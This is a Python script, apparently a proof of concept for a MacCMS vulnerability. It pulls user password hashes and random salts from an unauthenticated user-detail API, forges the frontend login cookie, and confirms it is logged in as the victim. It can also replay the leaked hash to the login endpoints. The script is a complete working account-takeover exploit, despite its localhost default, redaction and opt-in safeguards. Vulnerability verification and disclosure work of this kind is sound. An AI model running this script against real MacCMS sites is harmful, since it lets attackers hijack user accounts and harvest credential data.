#!/usr/bin/env python3
"""
MacCMS public user detail exposure verifier.

The default target is http://localhost:8080. Use --base-url to test a
different instance.

The script:
1. Fetches /api.php/user/get_detail?id=<user_id> without authentication.
2. Verifies that user_pwd and user_random are exposed.
3. Computes the frontend login cookie MAC.
4. Calls /api.php/auth/me with computed cookies and checks whether the target
   user is accepted as logged in.

By default, the script does not submit the disclosed password hash to
/api.php/user/login because a successful login can rotate account session
metadata.

Pass --test-login-endpoint to submit the disclosed user_pwd value to the API
login endpoint and verify the returned cookies with /api.php/auth/me. This
mode is intentionally opt-in because it rotates user_random and login
timestamps on success.
"""

import argparse
import hashlib
import http.cookies
import json
import sys
import urllib.error
import urllib.parse
import urllib.request


def request_json(url, data=None, cookie_header=None, timeout=8):
    headers = {"User-Agent": "maccms-user-detail-check/1.0"}
    if cookie_header:
        headers["Cookie"] = cookie_header
    body = None
    if data is not None:
        body = urllib.parse.urlencode(data).encode("utf-8")
        headers["Content-Type"] = "application/x-www-form-urlencoded"

    req = urllib.request.Request(url, data=body, headers=headers)

    try:
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            body = resp.read()
            status = resp.getcode()
            headers = resp.headers
    except urllib.error.HTTPError as exc:
        body = exc.read()
        status = exc.code
        headers = exc.headers
    except urllib.error.URLError as exc:
        raise RuntimeError("request failed: {}".format(exc)) from exc

    text = body.decode("utf-8", "replace")
    try:
        return status, json.loads(text), text, headers
    except json.JSONDecodeError as exc:
        raise RuntimeError("non-JSON response from {}: HTTP {} body={!r}".format(url, status, text[:300])) from exc


def fetch_json(url, cookie_header=None, timeout=8):
    status, parsed, text, _headers = request_json(url, cookie_header=cookie_header, timeout=timeout)
    return status, parsed, text


def login_cookie_from_headers(headers):
    jar = http.cookies.SimpleCookie()
    for item in headers.get_all("Set-Cookie") or []:
        jar.load(item)

    parts = []
    for name in ["user_id", "user_name", "user_check", "group_id", "group_name", "user_portrait"]:
        if name in jar:
            parts.append("{}={}".format(name, jar[name].value))
    return "; ".join(parts)


def cookie_value(value):
    return urllib.parse.quote(str(value), safe="")


def redact(value, keep=6):
    value = str(value)
    if len(value) <= keep * 2:
        return "*" * len(value)
    return "{}...{}".format(value[:keep], value[-keep:])


def main():
    parser = argparse.ArgumentParser(
        description="Verify MacCMS public user-detail exposure and frontend login impact."
    )
    parser.add_argument("--base-url", default="http://localhost:8080", help="MacCMS base URL")
    parser.add_argument("--user-id", default="1", help="frontend user id to verify")
    parser.add_argument("--timeout", type=int, default=8, help="HTTP timeout in seconds")
    parser.add_argument("--show-secrets", action="store_true", help="print full disclosed hash/random/cookie values")
    parser.add_argument(
        "--test-login-endpoint",
        action="store_true",
        help="submit disclosed user_pwd to /api.php/user/login and verify returned cookies; rotates user_random/login metadata",
    )
    parser.add_argument(
        "--test-index-login",
        action="store_true",
        help="with --test-login-endpoint, also submit disclosed user_pwd to /index.php/user/login",
    )
    args = parser.parse_args()

    base_url = args.base_url.rstrip("/")
    user_id_param = str(args.user_id)
    detail_url = "{}/api.php/user/get_detail?id={}".format(
        base_url, urllib.parse.quote(user_id_param, safe="")
    )

    print("[*] Fetching user detail without authentication: {}".format(detail_url))
    status, detail_json, _ = fetch_json(detail_url, timeout=args.timeout)
    if status != 200:
        print("[!] Unexpected HTTP status from get_detail: {}".format(status))
        return 2

    info = detail_json.get("info")
    if not isinstance(info, dict):
        print("[!] get_detail did not return a user object. Response: {}".format(detail_json))
        return 2

    user_id = str(info.get("user_id", user_id_param))
    user_name = str(info.get("user_name", ""))
    user_pwd = str(info.get("user_pwd", ""))
    user_random = str(info.get("user_random", ""))

    missing = [
        name for name, value in [
            ("user_id", user_id),
            ("user_name", user_name),
            ("user_pwd", user_pwd),
            ("user_random", user_random),
        ]
        if not value
    ]
    if missing:
        print("[!] Missing expected sensitive fields: {}".format(", ".join(missing)))
        print("[!] Response keys: {}".format(", ".join(sorted(info.keys()))))
        return 2

    if args.show_secrets:
        print("[+] Disclosed user_name: {}".format(user_name))
        print("[+] Disclosed user_pwd: {}".format(user_pwd))
        print("[+] Disclosed user_random: {}".format(user_random))
    else:
        print("[+] Disclosed user_name: {}".format(user_name))
        print("[+] Disclosed user_pwd: {}".format(redact(user_pwd)))
        print("[+] Disclosed user_random: {}".format(redact(user_random)))

    cookie_mac_input = "{}-{}-{}-".format(user_random, user_name, user_id)
    user_check = hashlib.md5(cookie_mac_input.encode("utf-8")).hexdigest()
    cookie_header = "user_id={}; user_name={}; user_check={}".format(
        cookie_value(user_id), cookie_value(user_name), user_check
    )

    if args.show_secrets:
        print("[+] Computed Cookie: {}".format(cookie_header))
    else:
        print("[+] Computed user_check: {}".format(redact(user_check)))

    me_url = "{}/api.php/auth/me".format(base_url)
    print("[*] Testing computed cookie against: {}".format(me_url))
    status, me_json, _ = fetch_json(me_url, cookie_header=cookie_header, timeout=args.timeout)
    if status != 200:
        print("[!] Unexpected HTTP status from auth/me: {}".format(status))
        return 2

    me_info = me_json.get("info") if isinstance(me_json, dict) else None
    is_login = int(me_info.get("is_login", 0)) if isinstance(me_info, dict) else 0
    authed_user_id = str(me_info.get("user_id", "")) if isinstance(me_info, dict) else ""
    authed_user_name = str(me_info.get("user_name", "")) if isinstance(me_info, dict) else ""

    if is_login == 1 and authed_user_id == user_id:
        print("[PASS] Computed cookie was accepted.")
        print("[PASS] auth/me returned user_id={} user_name={!r}".format(authed_user_id, authed_user_name))
        print("[PASS] The exposed fields are sufficient to authenticate as this frontend user.")
    else:
        print("[FAIL] Sensitive fields may be exposed, but the computed cookie was not accepted.")
        print("[FAIL] auth/me response: {}".format(me_json))
        return 1

    if args.test_login_endpoint:
        endpoints = ["/api.php/user/login"]
        if args.test_index_login:
            endpoints.append("/index.php/user/login")

        for path in endpoints:
            login_url = "{}{}".format(base_url, path)
            print("[*] Testing disclosed user_pwd against login endpoint: {}".format(login_url))
            status, login_json, _login_text, headers = request_json(
                login_url,
                data={"user_name": user_name, "user_pwd": user_pwd},
                timeout=args.timeout,
            )
            if status != 200:
                print("[FAIL] Unexpected HTTP status from login endpoint: {}".format(status))
                return 1
            if int(login_json.get("code", 0)) != 1:
                print("[FAIL] Login endpoint rejected disclosed user_pwd. Response: {}".format(login_json))
                return 1

            login_cookie = login_cookie_from_headers(headers)
            if not all(part in login_cookie for part in ["user_id=", "user_name=", "user_check="]):
                print("[FAIL] Login endpoint returned success but did not set expected login cookies.")
                print("[FAIL] Response: {}".format(login_json))
                return 1

            status, login_me_json, _ = fetch_json(me_url, cookie_header=login_cookie, timeout=args.timeout)
            if status != 200:
                print("[FAIL] Unexpected HTTP status from auth/me after login: {}".format(status))
                return 1
            login_me_info = login_me_json.get("info") if isinstance(login_me_json, dict) else None
            login_is_login = int(login_me_info.get("is_login", 0)) if isinstance(login_me_info, dict) else 0
            login_user_id = str(login_me_info.get("user_id", "")) if isinstance(login_me_info, dict) else ""

            if login_is_login != 1 or login_user_id != user_id:
                print("[FAIL] Login cookies from {} were not accepted by auth/me.".format(path))
                print("[FAIL] auth/me response: {}".format(login_me_json))
                return 1

            print("[PASS] {} accepted disclosed user_pwd and returned cookies for user_id={}.".format(path, user_id))

    print("[PASS] Confirmation complete.")
    return 0


if __name__ == "__main__":
    try:
        sys.exit(main())
    except Exception as exc:
        print("[ERROR] {}".format(exc))
        sys.exit(2)
